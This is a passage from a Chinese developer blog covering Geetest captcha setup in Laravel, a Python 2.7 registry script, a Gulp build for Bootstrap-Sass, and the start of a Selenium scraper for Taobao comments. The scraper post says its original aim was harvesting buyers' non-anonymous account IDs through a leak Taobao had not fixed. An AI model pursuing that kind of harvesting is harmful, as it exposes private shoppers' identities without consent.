    其中 ID 和 KEY 换成你自己的。 然后,在任意的视图里,我们只需要调用

    1
    {!! Geetest::render() !!}

    就可以得到验证码了。 比如我们最常用的表单里

    1
    2
    3
    4
    5
    6
    <form action="/" method="post">
    <input name="_token" type="hidden" value="{{ csrf_token() }}">
    <input type="text" name="name" placeholder="name">
    {!! Geetest::render() !!}
    <input type="submit" value="submit">
    </form>

    通过如上代码就可以完成验证码的生成了,样例如下: 另外还可以指定验证码的另外两种样式。

    1
    2
    {!! Geetest::render('embed') !!}
    {!! Geetest::render('popup') !!}

    以上两个方法分别会生成嵌入式和弹出式验证码。如果没有参数,默认是浮动式。 关于这几种样式,可以参考 官网 这样,就能保证必须完成验证码操作才能提交表单。 好,至此,你就可以完成最基础的验证码配置了。

    服务端验证

    如果你完成了上面的部分,那么恭喜你已经成功了一大半了,可以到此为止,不过如果想更加安全,请继续往下看。 在此是服务端二次验证,在上面讲的方法是客户端的验证,但是这并不能代表绝对安全,一些恶意用户依然可以通过操作JS完成表单的提交,所以服务端我们需要再次验证一下。 在表单提交的时候,如果你用了极验,那么就会额外提交三个字段,分别是 geetest_challenge, geetest_validate, geetest_seccode, 利用这三个字段,我们可以重新核对操作是否合法。 在这里这个包又做了封装,提供了一条验证规则。 所以验证时我们只需要利用验证规则即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    use Illuminate\Http\Request;

    class BaseController extends Controller
    {
    /**
    * @param Request $request
    */
    public function postValidate(Request $request)
    {
    $result = $this->validate($request, [
    'geetest_challenge' => 'geetest',
    ], [
    'geetest' => config('geetest.server_fail_alert')
    ]);
    if ($request) {
    return 'success';
    }
    }
    }

    利用 validate 方法,通过验证其中一个字段 geetest_challenge, 验证规则 geetest 就可以完成服务端的验证。这样就更保证了安全性。 在这里注意,由于多提交了几个字段,如果想执行 ORM 的批量插入修改操作时,记得在 Model 里面屏蔽这几个字段

    1
    protected $guarded = ['geetest_challenge', 'geetest_validate', 'geetest_seccode'];

    通过以上方法,就完成了服务端验证。 关于更多使用方法,可以参考 README

    语言设置

    验证码提供五种语言,简体中文,繁体中文,英文,日文,韩文。 可以通过 config/geetest.php 中设置 lang 字段。

    • zh-cn (简体中文)
    • zh-tw (繁体中文)
    • en (英文)
    • ja (日文)
    • ko (韩文)

    修改提示语

    在这里有两个提示语,client_fail_alert 和 server_fail_alert ,分别是前端和后台(客户端和服务器)两边的提示语,可以通过设置 config/geetest.php 设置。

    关于作者

    静觅(崔庆才) 个人主页:http://cuiqingcai.com

    Python

    不能在注册表中识别python2.7 新建一个register.py 文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    import sys

    from _winreg import *

    # tweak as necessary
    version = sys.version[:3]
    installpath = sys.prefix

    regpath = "SOFTWARE\\Python\\Pythoncore\\%s\\" % (version)
    installkey = "InstallPath"
    pythonkey = "PythonPath"
    pythonpath = "%s;%s\\Lib\\;%s\\DLLs\\" % (
    installpath, installpath, installpath
    )

    def RegisterPy():
    try:
    reg = OpenKey(HKEY_CURRENT_USER, regpath)
    except EnvironmentError as e:
    try:
    reg = CreateKey(HKEY_CURRENT_USER, regpath)
    SetValue(reg, installkey, REG_SZ, installpath)
    SetValue(reg, pythonkey, REG_SZ, pythonpath)
    CloseKey(reg)
    except:
    print "*** Unable to register!"
    return
    print "--- Python", version, "is now registered!"
    return
    if (QueryValue(reg, installkey) == installpath and
    QueryValue(reg, pythonkey) == pythonpath):
    CloseKey(reg)
    print "=== Python", version, "is already registered!"
    return
    CloseKey(reg)
    print "*** Unable to register!"
    print "*** You probably have another Python installation!"

    if __name__ == "__main__":
    RegisterPy()

    用Python 运行register.py后就能识别python2.7了 代码来自:http://tech.valgog.com/2010/01/after-installing-64-bit-windows-7-at.html

    JavaScript

    BootStrap

    BootStrap 是一个前端CSS框架,它提供了一些便捷的组件方便我们快速构建前端页面,目前已经到了版本4,版本4是用 Sass 编写的,版本3是由 Less 编写的,后来增加了 Sass 版本。这说明了什么?BootStrap 已经向 Sass靠近了,个人感觉 Sass 比 Less 更为强大,具有更丰富的语法功能。 所以,Sass 将会成为比 Less 更为主流的语言。 目前常用的 BootStrap 版本是3,在官网也提供了相关 Sass 版本的下载。 在此提供官网下载链接和 Sass 项目 GitHub 地址。 BootStrap BootStrap-Sass 在 BootStrap 的下载版本中,可以看到有三个。一个是编译好的 JS,CSS 文件,可以直接拿来用,方便快捷就可以下载这个来用。第二个是 Less 源码版本,你可以自己定义 Less 文件,在项目基础上继续用 Less 开发,编译成需要的 CSS 文件。第三个是后来新增的 Sass 版本,本节就以它为例来说明利用 Gulp 编译 BootStrap-Sass 的过程,目的一在于熟悉 Gulp 自动化编译 Sass 的流程,目的二在于了解前端自动化的工作原理。

    Gulp

    说完 BootStrap,我们再说下 Gulp,基于 Node.js。它干嘛的呢?就是一个前端自动化工具,什么用处?比如它可以编译 Less,Sass 生成到指定目录文件为 CSS,生成对应 map 文件,可以生成 JavaScript 的 map 文件,自动更新 html 中的 JS,CSS 引用路径,合并多个 JS,CSS 文件为统一整体,最小化压缩 JS,CSS 文件等等,最终目的呢?自动化替代重复劳动,提高效率。 说到 Gulp,就不得不提到它的竞争对手 Grunt,它具有和 Gulp 几乎一样的功能,然而 Grunt 有几个缺点,比如插件职责不明确,产生大量临时文件,语法繁琐等等。相比之下,Gulp插件职责明确,基于流式,不会产生临时文件,语法简单。冲着这几点,果断选择 Gulp。 利用 Gulp,我们就可以在项目中定义一个 gulpfile.babel.js 里面写入需要执行的任务,命令行执行 gulp 命令就可以完成自动化,一些重复的无聊的工作就不要你来做了。 Gulp中文网

    ES6

    说完 Gulp,然后就属 ES6 了,它是 ECMAScript 6 的简称,是 JavaScript 的一个新的版本类型,由于是 2015年发布的,所以也可以叫它 ES2015。我们之前编的 JavaScript 大多数是基于ES5或之前的版本,在 ES6 的基础上增加了许多新的语法特性,比如 Class,let,const 等等。 在 ES5 中,Gulp 的执行文件叫做 gulpfile.js,到了 ES6中,它就叫做 gulpfile.babel.js 了,多了一个 badel,那 babel 又是什么? 关于 ES6 的新特性预览可以看 ES6

    Babel

    Babel 其实是一个 JavaScript 编译器,支持 ES6,你可以用新型的 ES6 语法来编写你的 JavaScript,Babel 会为你生成对应的 ES5 的 JavaScript。乍看之下并没有什么关系,所以在这里你可以把 babel 看作 ES6 的代名词,在 Gulp 中,新型的 ES6 语法的 JavaScript 的 gulpfile 名字命名为 gulpfile.babel.js。 Babel

    NPM

    有一点 Node.js 基础的想必都知道这一个东西吧,Node Package Manager,Node.js 包管理器,利用它你可以安装 Node.js 的相关包,其中包括 Gulp。可以全局安装,加个 -g 参数,可以局部安装,需要路径下有个 package.json。 NPM怎样安装?安装了 Node.js 就好了。 Node.js 如果觉得速度慢,可以安装 CNPM,镜像源来源非国外,是淘宝的一个镜像源,速度快。 CMPM

    Bower

    在这里还需要用到一个工具 bower,类似 NPM,算是前端的一些组件管理工具,一些前端库比如 jquery,bootstrap 等等都可以用 bower 这个工具来下载,需要在根目录下建立一个 bower.json 和 .bowerrc 文件。利用 bower 我们就可以方便地管理前端的工具包了,不用我们去手动下载复制粘贴之类的。

    WebStorm

    在这再安利一个 IDE 吧,WebStorm,JetBrains公司出的一款强大又良心的编写前端的 IDE,支持各种插件,具有强大的语法提示,支持 JsHint 等代码检查,集成了终端,Git 等等强大的工具,Web 开发不二选择,推荐最新版本。 WebStorm

    准备工作

    扯完以上东西(其实还有好多没有扯完),让我们进入正题吧,正题是什么?哦没错,那就是

    基于 ES6 语法使用 Gulp 编写 gulpfile.babel.js 来编译 BootStrap-Sass 源码。

    下面是一些准备工作,没有做好的小伙伴请按照步骤一一完成。

    安装 Node.js 和 NPM

    从 Node 的官网下载 Node 并安装,安装流程不详细说明,安装完成之后 NPM 随之就会安装成功。 命令行下输入 npm 检查一下是否可以正常运行。

    安装 Gulp

    1
    npm install -g gulp

    加入 -g 参数是全局安装,安装完成之后你可以在任意位置使用命令。

    安装 Bower

    1
    npm install -g bower

    依然是全局安装 bower。

    下载 BootStrap-Sass

    可直接进入 BootStrap 页面点击第三个下载 Sass 源码。 也可以用 Git 将 BootStrap-Sass 的项目 clone 下来。

    安装 WebStorm

    推荐使用 WebStorm,可以开启 JsHint 等检测工具,具有强大的代码提示功能,不过不使用也没关系。 在你的 IDE 打开下载的项目,

    新建 gulpfile.babel.js

    gulpfile.babel.js 是基于 ES6 的 Gulp 处理文件,新建它,稍后所有的工作都在这里完成。

    新建 .babelrc

    新建 .babelrc 文件,内容

    1
    2
    3
    4
    5
    {
    "presets": [
    "es2015"
    ]
    }

    这是指定 gulp 使用最新标准的 JavaScript 进行编译。

    新建 .bowerrc

    新建 .bowerrc 文件,这是 bower 的配置文件,可以指定路径等相关配置,内容为

    1
    2
    3
    {
    "directory": "bower_components"
    }

    这是指定 bower 工具下载前端组件时会默认下载到这个文件夹中。

    修改 bower.json

    可以精简 bower.json 文件,比如修改名称,删去 main,ignore 配置等。 比如精简成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    {
    "name": "bootstrap-sass-demo",
    "authors": [
    "Germey"
    ],
    "description": "bootstrap-sass is a Sass-powered version of Bootstrap, ready to drop right into your Sass powered applications.",
    "moduleType": "globals",
    "keywords": [
    "twbs",
    "bootstrap",
    "sass"
    ],
    "license": "MIT",
    "dependencies": {
    "jquery": ">= 1.9.0"
    }
    }

    修改 package.json 在进行 Gulp 配置文件编写之前,首先需要引入一些 Node.js 开发包,比如 babel,gulp,wiredep等等。 修改 devDependencies 为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    "devDependencies": {
    "babel-core": "^6.4.0",
    "babel-preset-es2015": "^6.3.13",
    "babel-register": "^6.9.0",
    "browser-sync": "^2.2.1",
    "del": "^1.1.1",
    "gulp": "^3.9.1",
    "gulp-autoprefixer": "^3.0.1",
    "gulp-babel": "^6.1.1",
    "gulp-cache": "^0.2.8",
    "gulp-cssnano": "^2.0.0",
    "gulp-eslint": "^0.13.2",
    "gulp-htmlmin": "^1.3.0",
    "gulp-if": "^1.2.5",
    "gulp-imagemin": "^2.2.1",
    "gulp-load-plugins": "^0.10.0",
    "gulp-plumber": "^1.0.1",
    "gulp-sass": "^2.0.0",
    "gulp-size": "^1.2.1",
    "gulp-sourcemaps": "^1.5.0",
    "gulp-uglify": "^1.1.0",
    "gulp-useref": "^3.0.0",
    "main-bower-files": "^2.5.0",
    "wiredep": "^2.2.2"
    }

    执行

    1
    npm install

    安装所需要的库。 如此一来,所有的准备工作就差不多了。

    实战

    引入类库

    首先引入一些必须的类库

    1
    2
    3
    4
    5
    import gulp from 'gulp';
    import gulpLoadPlugins from 'gulp-load-plugins';
    import browserSync from 'browser-sync'
    import del from 'del';
    import {stream as wiredep} from 'wiredep';

    gulp 自不必多说,是 gulp 必须的核心类库。 gulp-load-plugins 是加载 gulp 插件的类库,我们知道 gulp 插件非常丰富,如果要一个个引入的话,需要写很多很多条 import 语句,引入了这个插件之后,调用时只需要加 点(.) + 插件名称 那就可以使用了。 browser-sync 是浏览器同步工具,如果有代码更新,浏览器会自动刷新更新资源。 del 是删除资源的工具包。 wiredep 是从 bower 同步到 html 中资源引用的插件,bower 中定义了依赖包,有了它,这些包的引用比如 js,css 就可以直接自动生成到 html 文件中。 接着初始化一些变量。

    1
    2
    const $ = gulpLoadPlugins();
    const reload = browserSync.reload;

    将加载插件的插件初始化为 $ 符号,然后初始化 reload 等变量。

    Sass 编译

    下载好 Sass 源码之后,打开 assets/stylesheets 目录,可以看到 BootStrap 的 Sass 源代码。不过发现文件名都是 _ 开头的,这种类型的文件是不能被编译生成的,所以新建一个 bootstrap.sass 文件,内容为

    1
    @import "_bootstrap";

    最后生成的目录结构如下

    1
    2
    3
    4
    5
    |_____bootstrap-compass.scss
    |_____bootstrap-mincer.scss
    |_____bootstrap-sprockets.scss
    |_____bootstrap.scss
    |____bootstrap

    接下来我们只需要编译 bootstrap.scss 即可。 定义一个路径配置

    1
    2
    3
    4
    const styles = {
    'in': 'assets/stylesheets/**/*.scss',
    'tmp': '.tmp/css',
    };

    包含 in 和 tmp 目录,in 代表 Sass 源文件地址,tmp 代表生成的编译后的 CSS 目录。 接下来最重要的,指定一个 Gulp Task

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    gulp.task('styles', () => {
    return gulp.src(styles.in)
    .pipe($.plumber())
    .pipe($.sourcemaps.init())
    .pipe($.sass.sync({
    outputStyle: 'expanded',
    precision: 10,
    includePaths: ['.']
    }).on('error', $.sass.logError))
    .pipe($.autoprefixer({browsers: ['> 1%', 'last 2 versions', 'Firefox ESR']}))
    .pipe($.sourcemaps.write())
    .pipe(gulp.dest(styles.tmp))
    .pipe(reload({stream: true}));
    });

    task 是 gulp 的一个核心方法,定义了 styles 这个 task 之后,就可以执行

    1
    gulp styles

    就可以完成以上定义的任务。 首先利用 gulp.src 引入了需要编译的 Sass 文件,然后利用一系列 pipe 流式管道来指定一系列处理任务。 plumber 是一个错误处理插件,当出现错误时,不会立即卡主,而是进入 plumber,防止程序运行终止。 sourcemaps 是用来生成映射文件的一个插件,map 文件记录了从 Sass 编译成 CSS 的过程中,每一行的 Sass 代码对应哪一行的 CSS 代码。 sass 是核心的编译 Sass 的插件,指定了输出格式 expanded,precision 指定了当输出十进制数字时,使用多少位的精度,然后指定了路径和错误日志。 autoprefixer 是一个以友好方式处理浏览器前缀的插件,比如一些 CSS 的定义会出现 -webkit- 等等,此插件是用来处理浏览器前缀的。

    Autoprefixer默认将支持主流浏览器最近2个版本,这点类似Google。不过你可以在自己的项目中通过名称或者模式进行选择: 主流浏览器最近2个版本用“last 2 versions”; 全球统计有超过1%的使用率使用“>1%”; 仅新版本用“ff>20”或”ff>=20”. 然后Autoprefixer计算哪些前缀是需要的,哪些是已经过期的。

    dest 是输出编译后的文件,指定输出路径。 reload 是同步浏览器资源的方法。 定义好如上内容之后,命令行输入

    1
    gulp styles

    就会发现出现了 .tmp 目录,里面有 css/bootstrap.css

    JavaScript 处理

    同理,定义一个 task,用来处理 JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    gulp.task('scripts', () => {
    return gulp.src(scripts.in)
    .pipe($.plumber())
    .pipe($.sourcemaps.init())
    .pipe($.babel())
    .pipe($.sourcemaps.write('.'))
    .pipe(gulp.dest(scripts.tmp))
    .pipe(reload({stream: true}));
    });

    相比之下,此处多了一个 babel 插件。 babel 是基于 ES6 标准的一个 JavaScript 插件,它可以对 ES6 版本的代码进行转换,转换成 ES5 标准,避免出现出现 ES6 不兼容问题。 在此处还需要 scripts 的路径定义

    1
    2
    3
    4
    5
    const scripts = {
    'in': 'assets/javascripts/**/*.js',
    'tmp': '.tmp/js',
    'out': 'dist/js'
    };

    定义完成之后,执行

    1
    gulp scripts

    就可以完成 JavaScript 的转换。 另外还有一个专门负责代码风格转换的 task,使用了 eslint 这个插件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const lint = {
    'in': 'assets/javascripts/**/*.js'
    };
    gulp.task('lint', () => {
    return gulp.src(lint.in)
    .pipe(reload({stream: true, once: true}))
    .pipe($.eslint.format())
    .pipe($.if(!browserSync.active, $.eslint.failAfterError()));
    });

    执行

    1
    gulp lint

    之后,就可以进行代码风格的标准化。

    HTML处理

    我们可以发现,在前面的输出路径都是 .tmp 临时目录,后面还会有一个目录是 dist 目录,试想一下,如果我们编译了 BootStrap 而在 HTML 中没有引用,那编译来还有必要吗? 所以说,.tmp 作为临时目录,它可以存放被编译后的文件,但是不一定会被引用。被真正引用的文件才是真正有用的文件,我们将它放到 dist 目录。 所以接下来的 HTML 处理就是检查一下有哪些 CSS 和 JS 被引用了,可以将它们合并,然后将新的文件放到 dist 并更新它的引用路径。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const html = {
    'in': 'assets/*.html',
    'out': 'dist'
    };
    gulp.task('html', ['styles', 'scripts'], () => {
    return gulp.src(html.in)
    .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
    .pipe($.if('*.js', $.uglify()))
    .pipe($.if('*.css', $.cssnano()))
    .pipe($.if('*.html', $.htmlmin({collapseWhitespace: true})))
    .pipe(gulp.dest(html.out));
    });

    在这里定义了一个 task 叫做 html,第二个参数是 styles 和 scripts 组成的数组,意思是在执行这个 task 之前,首先要执行这两个任务。 在处理时用到了 useref 这个插件,它可以检测 HTML 中引用的 CSS 和 JS,可以执行合并和压缩,然后更新新的路径。 这个插件的作用如上所述。 比如 HTML 当前内容是这样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Welcome</title>
    <!-- bower:css -->
    <!-- endbower -->
    <!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
    <!-- endbuild -->
    </head>
    <body>
    <h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4>
    </body>
    <!-- bower:js -->
    <!-- endbower -->
    <!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
    <!-- endbuild -->
    </html>

    可以看到

    1
    2
    3
    <!-- build:css css/combined.css -->
    <link href="../.tmp/css/bootstrap.css" rel="stylesheet">
    <!-- endbuild -->

    这里引用了 .tmp 目录下的 bootstrap.css,然后在外面用注释的形式定义了构建的路径和文件名。 那么执行这个任务之后,它便会将当前引用的 .tmp 目录下的 bootstrap.css 处理并输出为 combined.css,然后新生成的 HTML 文件的引用路径也相应改为 combined.css JS 也是同理

    1
    2
    3
    4
    <!-- build:js js/combined.js -->
    <script src="javascripts/bootstrap.js"></script>
    <script src="javascripts/bootstrap-sprockets.js"></script>
    <!-- endbuild -->

    在此处是将两个文件处理合并为 combined.js 执行

    1
    gulp html

    后,会新生成一个 HTML 文件到 dist 目录,内容为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>Welcome</title><!-- bower:css --><!-- endbower -->
    <link rel="stylesheet" href="css/combined.css">
    </head>
    <body><h4>Hello This is a Gulp Sass Demo Configured by Germey.</h4></body><!-- bower:js --><!-- endbower -->
    <script src="js/combined.js"></script>
    </html>

    dist 的目录结构为

    1
    2
    3
    4
    5
    |____css
    | |____combined.css
    |____index.html
    |____js
    | |____combined.js

    以上为利用 useref 插件进行 HTML 处理的过程。

    图片压缩处理

    接下来是对图片字体及其他格式文件的处理。 图片的主要处理是进行压缩

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    const images = {
    'in': 'assets/images/**/*',
    'out': 'dist/images'
    };
    gulp.task('images', () => {
    return gulp.src(images.in)
    .pipe($.imagemin({
    progressive: true,
    interlaced: true,
    svgoPlugins: [{cleanupIDs: false}]
    }))
    .pipe(gulp.dest(images.out));
    });

    定义好了 images 的输入和输出路径之后,定义 images 这个 task,在这里使用了 imagemin 这个插件 imagemin 插件是用来压缩图片的插件,处理后图片的占用空间会变小。 执行

    1
    gulp images

    即可完成对图片的压缩

    字体处理

    字体的处理,筛选出某些特定格式的字体,输出到指定目录

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const fonts = {
    'in': ['assets/fonts/bootstrap/*'],
    'tmp': '.tmp/fonts',
    'out': 'dist/fonts'
    };
    gulp.task('fonts', () => {
    return gulp.src(require('main-bower-files')('**/*.{eot,svg,ttf,woff,woff2}', function(err) {
    })
    .concat(fonts.in))
    .pipe(gulp.dest(fonts.tmp))
    .pipe(gulp.dest(fonts.out));
    });

    执行

    1
    gulp fonts

    即可完成字体的处理

    额外文件处理

    在项目中还存在非 HTML 的文件,比如 视频,音频,PHP等。这些做一下统一判断然后归档即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    const extras = {
    'in': [
    'assets/*.*',
    '!assets/*.html'
    ],
    'out': 'dist'
    };
    gulp.task('extras', () => {
    return gulp.src(extras.in, {
    dot: true
    }).pipe(gulp.dest(extras.out));
    });

    其中 in 指定了在 asset 目录中除 html 后缀的文件,此处进行读入筛选,然后输出到指定路径即可。 执行

    1
    gulp extras

    即可完成额外文件的处理

    文件依赖处理

    设想一个情景,一个项目需要很多很多依赖库,我们在 bower.json 中定义好了所有的依赖,使用 bower 将他们下载了下来,如果我们需要在 HTML 中引用他们,如果我们还是手动地添加一个个引用那是不是太麻烦了? 没错,这个操作同样可以自动化操作,借助 wiredep 插件即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    const wire = {
    'in': 'assets/*.html',
    'out': 'dist'
    };
    gulp.task('wiredep', () => {
    gulp.src(wire.in)
    .pipe(wiredep({
    ignorePath: /^(\.\.\/)*\.\./
    }))
    .pipe($.useref({searchPath: ['.tmp', 'assets', '.']}))
    .pipe($.if('*.js', $.uglify()))
    .pipe($.if('*.css', $.cssnano()))
    .pipe(gulp.dest(wire.out));
    });

    在这里使用了 wiredep 插件。 在 HTML中定义如下内容

    1
    2
    <!-- bower:js -->
    <!-- endbower -->

    执行

    1
    gulp wiredep

    之后,便会自动更新 bower.json 中所有依赖库的引用,在这里以 JS 为例子。 当前在 bower.json 中定义了

    1
    2
    3
    "dependencies": {
    "jquery": ">= 1.9.0"
    }

    执行完毕之后,HTML中便有了

    1
    2
    3
    <!-- bower:js -->
    <script src="/bower_components/jquery/dist/jquery.js"></script>
    <!-- endbower -->

    路径会随之更新。

    服务器

    最后是一个 serve 的 task 在本地搭建一个服务器来测试,同时监听文件的变动随时更新资源文件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    const serve = {
    'baseDir': ['.tmp', 'assets'],
    'baseDirDist': ['dist'],
    'routes': {
    '/bower_components': 'bower_components'
    },
    'port': 9000
    };
    gulp.task('serve', ['styles', 'scripts', 'fonts', 'wiredep'], () => {
    browserSync({
    notify: false,
    port: serve.port,
    server: {
    baseDir: serve.baseDir,
    routes: serve.routes
    }
    });
    gulp.watch([
    html.out, scripts.tmp, scripts.out, images.out, fonts.tmp, fonts.out
    ]).on('change', reload);
    gulp.watch(styles.in, ['styles']);
    gulp.watch(scripts.in, ['scripts']);
    gulp.watch(fonts.in, ['fonts']);
    gulp.watch('bower.json', ['wiredep', 'fonts']);
    });
    gulp.task('serve:dist', () => {
    browserSync({
    notify: false,
    port: serve.port,
    server: {
    baseDir: serve.baseDirDist
    }
    });
    });

    上述 serve 首先要执行 styles, scripts, fonts, wiredep 的操作,然后在 9000 端口上运行。 同时利用 watch 方法监听文件的变动,随时更新。

    删除和一键构建

    最后还有清理构建文件和一键构建的功能。 清理 task 叫做 clean。

    1
    gulp.task('clean', del.bind(null, ['.tmp', 'dist']));

    即将 .tmp 和 dist 目录进行清理。 一键构建就是执行其他所有操作,将所有操作汇总。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const build = {
    'in': 'dist/**/*'
    };
    gulp.task('build', ['lint', 'html', 'images', 'fonts', 'extras'], () => {
    return gulp.src(build.in).pipe($.size({title: 'build', gzip: true}));
    });
    gulp.task('default', ['clean'], () => {
    gulp.start('build');
    });

    最后执行了一个总的压缩汇总,

    代码

    以上便是利用 Gulp 编译 Bootstrap-Sass 的全部过程。 整个项目的代码如下 GulpBootstrapSass 如果有问题,欢迎留言交流,希望对大家有帮助!

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    更新

    其实本文的初衷是为了获取淘宝的非匿名旺旺,在淘宝详情页的最下方有相关评论,含有非匿名旺旺号,快一年了淘宝都没有修复这个。 可就在今天,淘宝把所有的账号设置成了匿名显示,SO,获取非匿名旺旺号已经不可能了。那本节就带大家抓取匿名旺旺号熟悉一下 Selenium 吧。

    2016/7/1

    前言

    嗯,淘宝,它一直是个难搞的家伙。 而且买家在买宝贝的时候大多数都是匿名评论的,大家都知道非匿名评论是非常有用的,比如对于大数据分析,分析某个宝贝的购买用户星级状况等等。 现在已经不能获取非匿名了,此句已没有意义了。 对于抓淘宝,相信尝试过的童鞋都能体会到抓取它到艰辛,最简单的方法莫过于模拟浏览器了,本节我们就讲解一下利用 Selenium 抓取淘宝评论的方法。 项目提供了如下功能:

    • 输入淘宝关键字采集淘宝链接并写入到文件
    • 从文件读取链接,执行评论采集
    • 将评论和旺旺号保存到 Excel 中
    • 记录当前采集链接索引,保存进度

    准备工作

    在开始本节之前 你需要了解一些基础知识,我们需要用到 Selenium 这个东西,详情请看 Selenium 用法 我们首先讲解一下你需要做怎样的配置。 首先你需要安装 Python,版本是 2.7 然后需要安装的 Python 类库。

    1
    pip install pyquery selenium twisted requests xlrd xlwt xlutils

    安装浏览器 Chrome,安装浏览器 Chrome,安装浏览器 Chrome。 然后下载 ChromeDriver,ChromeDriver 是驱动浏览器的工具,需要把它配置到环境变量里。 有的童鞋说,为什么不用 PhantomJS,因为为了防止淘宝禁掉我们,需要登录淘宝账号,登录过程可能会出现奇奇怪怪得验证码,滚动条,手机验证,如果用 PhantomJS 的话不方便操作,所以在这里我们就使用 Chrome 了。 ChromeDriver 上面是 ChromeDriver 的下载地址,谷歌都上得了,这个不在话下吧,这是最官方的版本,其他链接请自行搜索。 找到对应平台的 ChromeDriver,解压后将可执行文件配置到环境变量里,配置到环境变量里,配置到环境变量里!重要的话说三遍。

    流程简述

    首先我们拿一个例子来演示一下全过程。 随意打开天猫一个链接 示例链接 我们首先观察一下评论,可以发现所有的评论都是匿名的。即使这个用户不是匿名评论的,那也会显示匿名,淘宝这保密做的挺好。 QQ20160630-1@2x 心机的淘宝啊,那我们如果想获取一些旺旺号该咋办? 接下来我们返回宝贝详情页面,然后一直下拉下拉,拉到最最后,可以看到有个“看了又看”板块。 QQ20160630-0@2x 有没有!!发现了新大陆,这是什么?这是此宝贝相关宝贝以及它的一些评论。 看到了有非匿名用户了,哈哈哈,淘宝加密了评论,推荐部分却没有加密。 嗯,就从这里,我们把它们的旺旺号都抓下来,顺便把评论和购买的宝贝抓下来。 现在已经全部改成了匿名,上述话已经无意义了。 那么抓取完之后,保存到哪里呢?为了便于管理和统计,在这里保存到 Excel 中,那么就需要用到 xlrd, xlwt, xlutils 等库。 嗯,动机就是这样。

    实战爬取

    抓取过程

    首先我们观察这个链接,在最初的时候,其实网页并没有加载最下方的“看了又看”内容的,慢慢往下滑动网页,滑到最下方之后,才发现看了又看页面才慢慢加载出来。 很明显,这个地方使用了 Ajax,由于我们用的是 Selenium,所以这里我们不能直接来模拟 Ajax 的 Request,需要我们来模拟真实的用户操作。 所以我们要模拟的就是,在网页部分加载出来之后,模拟浏览器滑动到下方,使“看了又看”内容显示出来,然后获取网页源代码,解析之即可。 那么在这里就出现了两个至关重要的点,一个是判断网页框架大体加载出来,另一个是模拟滑动直到最下方的内容加载出来。 首先,我们解决第一个问题,怎样判断网页框架大体加载出来。我们可以用网页中的某个元素的出现与否来判断。 比如 QQ20160630-2@2x 这一部分是否加载出来。 审查一下代码,ID 叫做 J_TabBarBox,好,那就用它来作为网页初步加载成功的标志。 在 Selenium 中,我们用显式等待的方法来判断该元素是否已经加载成功。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    try:
    driver.get(url)
    WebDriverWait(driver, timeout).until(
    EC.presence_of_element_located((By.ID, "J_TabBarBox"))
    )
    except TimeoutException:
    return False
    if is_recommends_appear(driver, max_scroll_time):
    print u'已经成功加载出下方橱窗推荐宝贝信息'
    return driver.page_source

    接下来我们需要模拟下拉浏览器,不妨直接下拉到底部,再从底部向上拉,可能需要下拉多次,所以在这里定义了一个下拉次数,那么判断“看了又看”正文内容是否出现依然可以用显式等待的方法。 浏览器审查元素发现它的选择器是 #J_TjWaterfall li QQ20160630-3@2x 那么可以用如下方法来判断是否加载成功

    1
    2
    3
    4
    5
    try:
    driver.find_element_by_css_selector('#J_TjWaterfall li')
    except NoSuchElementException:
    return False
    return True

    下拉过程可以用执行 JavaScript 的方法实现。

    1
    2
    js = "window.scrollTo(0,document.body.scrollHeight-" + str(count * count* 200) + ")"
    driver.execute_script(js)

    其中 count 是下拉的次数,经过测试之后,每次拉动距离和 count 是平方关系比较科学,具体不再描述,当然你可以改成自己想要的数值。 嗯,加载出来之后,就可以用

    1
    driver.page_source

    来获取网页源代码了 用 pyquery 解析即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    doc = pq(html)
    items = doc('#J_TjWaterfall > li')
    print u'分析得到下方宝贝中的用户评论:'
    for item in items.items():
